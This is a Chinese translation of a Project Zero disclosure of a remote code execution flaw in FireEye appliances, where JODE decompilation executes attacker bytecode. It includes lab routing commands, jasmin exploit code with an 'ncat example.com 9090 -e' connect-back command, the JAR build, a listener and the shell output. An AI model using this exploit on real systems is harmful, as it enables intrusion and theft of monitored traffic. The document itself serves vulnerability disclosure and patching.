FireEye向企业和政府用户销售安全设备,其旗舰产品安装在大型网络的出口点用以监控设备,也就是安装在内部流量通向互联网的地方。
简要概述
一个组织在其内部网络中安装了FireEye设备,然后连接到一个SPAN或是出口点的镜像端口(这些监控端口内置在专业级网络设备中)
FireEye设备之后就被动查看所有网络流量,监控HTTP, FTP, SMTP等常见协议。对于文件传输来说,如果检测到文件传输(例如一个Email附件,HTTP下载)FireEye会提取文件并扫描是否包含恶意软件。
原则上,如果用户接收一份恶意Email或者访问恶意网站,FireEye设备观察流量并向网络管理员发送警报。FireEye设备还监控文件服务,Mail Exchanger等。
对于部署了FireEye设备的网络,一个被动监控接口存在的漏洞利用绝对是恶梦。这也意味着攻击者仅仅只需发送一封电子邮件便可以获得网路分流器(Network Tap)访问权限,甚至都不需要接收者打开这封恶意电子邮件,只是接收便行了!
网路分流器(Network Tap)是网络中权限最高的机器之一,访问员工的电子邮件,密码,下载记录,浏览记录,机密附件等。在某些部署配置中[1],攻击者可以篡改流量,插入恶意后门或者更糟糕的。因为FireEye设备通常会使用第二个联网接口来进行设备更新管理,所以出现的这个问题可行性十分高!
在本文中我们将讨论666[2]这个由Project Zero发现的可通过被动监控接口进行利用的漏洞。
FireEye已经发布了针对该漏洞的补丁,请用户立即应用该补丁!
———-
[1]FireEye设备可以在IPS模式下进行配置,这么做可以修改监控流量
[2]该问题刚刚好是Project Zero发现的第666个漏洞
常见问答
Q:如何检查是否我的FireEye设备存在该漏洞?
A:通常,设备的安全版本为427.334或更高那么该漏洞已经被修复,FireEye官方发布的该漏洞相关信息 在此
Q:哪些FireEye产品受此漏洞影响?
A:默认配置下NX, FX, AX 以及EX系列产品都受该漏洞影响
Q:获取报告之后FireEye需要多久时间解决该问题?
A:FireEye响应非常迅速,在数小时之内向用户推送了临时解决方案,之花了2天时间便解决了整个问题。
Q:FireEye支持你们的安全研究吗?
A:FireEye在这方面做的非常不错,我们之间的合作非常密切,提供测试设备支持并且对问题的响应非常迅速
Q:目前我无法更新FireEye应用,我应该采取什么措施来缓解该问题呢?
A:FireEye提供的减缓措施是可用的,详细你可以联系FireEye技术支持,他们会帮助你完成该项任务。
实验室设置
Project Zero之前一直在评估 FireEye NX 7500 设备,为此创建了一个实验室来生成样本流量。测试环境包含一个配有4个网络接口的工作站,其中两个接口连接到中心用以模拟网络流量。
FireEye被动监控接口(也被称作pether3)连接到中心(类似于镜像端口)的第三个接口,所以它可以在测试机器上用来观察两个接口之间流量间的交换。这是用来模拟内部网络中用户从互联网中接收电子邮件或者下载文件。
额外的接口作为FireEye的管理接口,以及LAN访问:
这是一个棘手的路由配置,特别是从两个本地接口(eth2, eth3)流向中心的流量中截获流量。这需要一些Linux下路由工作的知识作为铺垫。
既然这样,我想要在192.168.2.0/24上模拟网络,在192.168.1.1/24上管理接口。这需要调整本地路由表并创建对应的规则。
# First, make sure Linux will accept local<->hub<->local traffic echo 1 > /proc/sys/net/ipv4/conf/all/accept_local
# Give the two interfaces connected to the hub static addresses. ip addr add 192.168.2.2 dev eth2 ip addr add 192.168.2.1 dev eth3
# Route traffic destined for each address to the *opposite* device ip route add 192.168.2.1 dev eth2 ip route add 192.168.2.2 dev eth3
# Force Linux to forget that these are local interfaces so the traffic actually reaches the hub. ip route del 192.168.2.2 table local ip route del 192.168.2.1 table local
# Now add corresponding rules for each interface ip rule add iif eth2 lookup 100 ip route add local 192.168.2.2 dev eth2 table 100 ip rule add iif eth3 lookup 101 ip route add local 192.168.2.1 dev eth3 table 101
访问管理接口,通过ttyS0在正确的子网中给FireEye设备的ether1接口配置一个静态地址:
# Enable the management interface on my workstation ifconfig eth1 up 192.168.1.1 netmask 255.255.255.0
# Now configure the management interface on the FireEye fireeye> no interface ether1 dhcp fireeye> interface ether1 ip address 192.168.1.2 255.255.255.0
这是允许从管理接口访问FireEye设备的,并通过来自同一台机器的网路分流器生成模拟流量。
配置完成后,模拟用户从互联网下载一份文件。你只需在192.168.2.2/24上进行简单的下载操作:
# Start a python web server to simulate a website $ sudo python -m SimpleHTTPServer 80 &
# Create a file to download $ echo hello > test.txt
# Download the file across the hub, so that the FireEye can see it $ curl -s http://192.168.2.2/test.txt hello
登录FireEye管理接口,然后使用tcpdump验证被动接口能看到模拟网络流量:
fireeye> tcpdump -i pether3 tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on pether3, link-type EN10MB (Ethernet), capture size 262144 bytes 13:38:30.980073 IP 192.168.2.1.58276 > 192.168.2.2.http: Flags [S], seq 2112408534, win 29200, options [mss 1460,sackOK,TS val 1133741089 ecr 0,nop,wscale 7], length 0 13:38:30.981065 IP 192.168.2.2.http > 192.168.2.1.58276: Flags [R.], seq 0, ack 2112408535, win 0, length 0 2 packets captured 2 packets received by filter 0 packets dropped by kernel
成功确认FireEye能够监控模拟网络。
FireEye结构
主要分析FireEye设备监控已知恶意流量(用于网段的黑名单,恶意域名,恶意规则等),对传输文件(杀毒软件, yara 规则,以及分析脚本)的静态分析,最后在虚拟机中追踪传输文件的执行。一旦执行追踪生成便与已知的恶意行为进行匹配。
在该阶段主要涉及的组件有bott,mip和silverfish respectively:
fireeye> show pm process bott Process bott (Network Content Processing Engine) State: Current status: running PID: 14745 Uid: 0 Gid: 0 fireeye> show pm process mip Process mip (Malware Input Processor) ... fireeye> show pm process silverfish Process silverfish (Submit files for VM analysis) ...
MIP (Malware Input Processor)子系统负责文件的静态分析,调用帮助程序和插件解码各类型文件。比如调用swf helper程序 flasm 对flash文件进行反汇编,dmg helper调用 p7zip 提取Mac OS磁盘映象,以及png helper调用 pngcheck 来验证图片。
jar helper是用来分析抓取到的Java Archives,使用 jarsigner 来检测签名,之后尝试使用一款开源Java编译器 JODE 对内容进行反编译。
一旦反编译完成,便在在解码器输出中检测已知的恶意代码模式,例如:
regex = re.compile(".*class [a-zA-Z0-9]+ extends Applet") regexScript = re.compile(".*javax.script.ScriptEngine") regexReflection = re.compile(".*java.lang.reflect")
JODE是开源的,其代码可以拿来研究研究。检查代码JODE广泛使用反射,甚至包含一个用于分析的简单Java虚拟机:
JODE使用SimpleRuntimeEnvironment class通过动态执行某些字节来反混淆字符串。该代码特别是试图处理静态构造函数中方法调用。
进一步研究,把我自己都下了一跳。我们从FireEye设备提取JODE进行更细致的研究,jdb调试器确认了OPTION_DECRYPT设置已经启用,SimpleVirtualMachine class有如下定义:
$ jdb -classpath "." net.sf.jode.decompiler.Main test.jar Initializing jdb ...> stop in net.sf.jode.expr.InvokeOperator.deobfuscateString Deferring breakpoint net.sf.jode.expr.InvokeOperator.deobfuscateString. It will be set after the class is loaded > run ... main[1] dump net.sf.jode.decompiler.Options.options net.sf.jode.decompiler.Options.options = 831
这就意味着在网上发送一个JAR,我们可以通过FireEye假装使用字符串模糊来执行它!
利用
为了构造一个能绕过JODE启发式字符串混淆的class文件,我们使用 jasmin 汇编程序,他能提供我们javac所不能表现处的灵活性。
历经多次试验,我们终于创建了一个JODE能够执行的class文件,并使用它调用java.lang.Runtime.getRuntime().exec(),其允许我们执行任意shell命令。在我们的测试工作中,我们可以仅仅通过在被动监控接口下传输文件,进行命令执行。
FireEye默认附加安装了 ncat ,创建一个反弹Shell就像指定一个我们想要的命令一样简单。以下为我们使用的jasmin代码样本,使用ncat提取/usr/bin/id之后通过网络发送结果:
.method public static obf(Ljava/lang/String;)Ljava/lang/String; .limit locals 1 .limit stack 8 invokestatic java/lang/Runtime/getRuntime()Ljava/lang/Runtime; ldc "ncat example.com 9090 -e /usr/bin/id" invokevirtual java/lang/Runtime/exec(Ljava/lang/String;)Ljava/lang/Process; ldc "test" areturn .end method
Project Zero issue tracker 上的完整汇编文件是可用的。现在我们只需为FireEye构造一个JAR文件进行反编译:
$ jasmin ReverseShell.j $ jar cvf fireeye.jar ReverseShell.class added manifest adding: ReverseShell.class(in = 489) (out= 311)(deflated 36%) Start a listener for my connectback shell: $ nc -lp 9090 & [1] 11115
现在通过监控网络下载文件,模拟攻击发送JAR邮件,或者让用户点击下链接:
$ curl http://192.168.2.2/fireeye.jar &> /dev/null
然后等待反弹Shell,这个时间取决于机器的负载:
$ wait uid=821(mip) gid=3111(mip)groups=3111(mip),602(antivirus),2000(analysis),3001(stats),3134(mip_child),3200(dipcshm),3203(reports),3204(contents),3210(mip_client) [1]+ Done nc -lp 9090
成功在FireEye机器上完成代码执行!
权限提升[部分打码]
目前我们是作为mip(恶意软件输入处理器)用户进行代码执行,mip用户的权限已经算比较高了,能够访问敏感网络数据。
然而,随着███ █████ ███████ ███ █████████████ ███ ████████,我们可以轻松获得root权限,这是因为███ █████ █████████████ ██ ████████ ██ ████ █████。
打码原因:FireEye请求针对该 提权部分组件 需要额外的时间去修补
fireeye# id uid=0(admin) gid=0(root) groups=0(root)
现在,我们获得了root权限,完全控制FireEye设备。
总结
结合这些步骤,攻击者可以向用户发送一封电子邮件,或是等待用户点击链接。最终获得root权限那是秒秒钟的事情!
该漏洞会导致机密数据的泄漏,篡改流量。
请根据问答部分,检测下设备是否存在该漏洞,如存在请及时修补。
*原文地址: ProjectZero ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)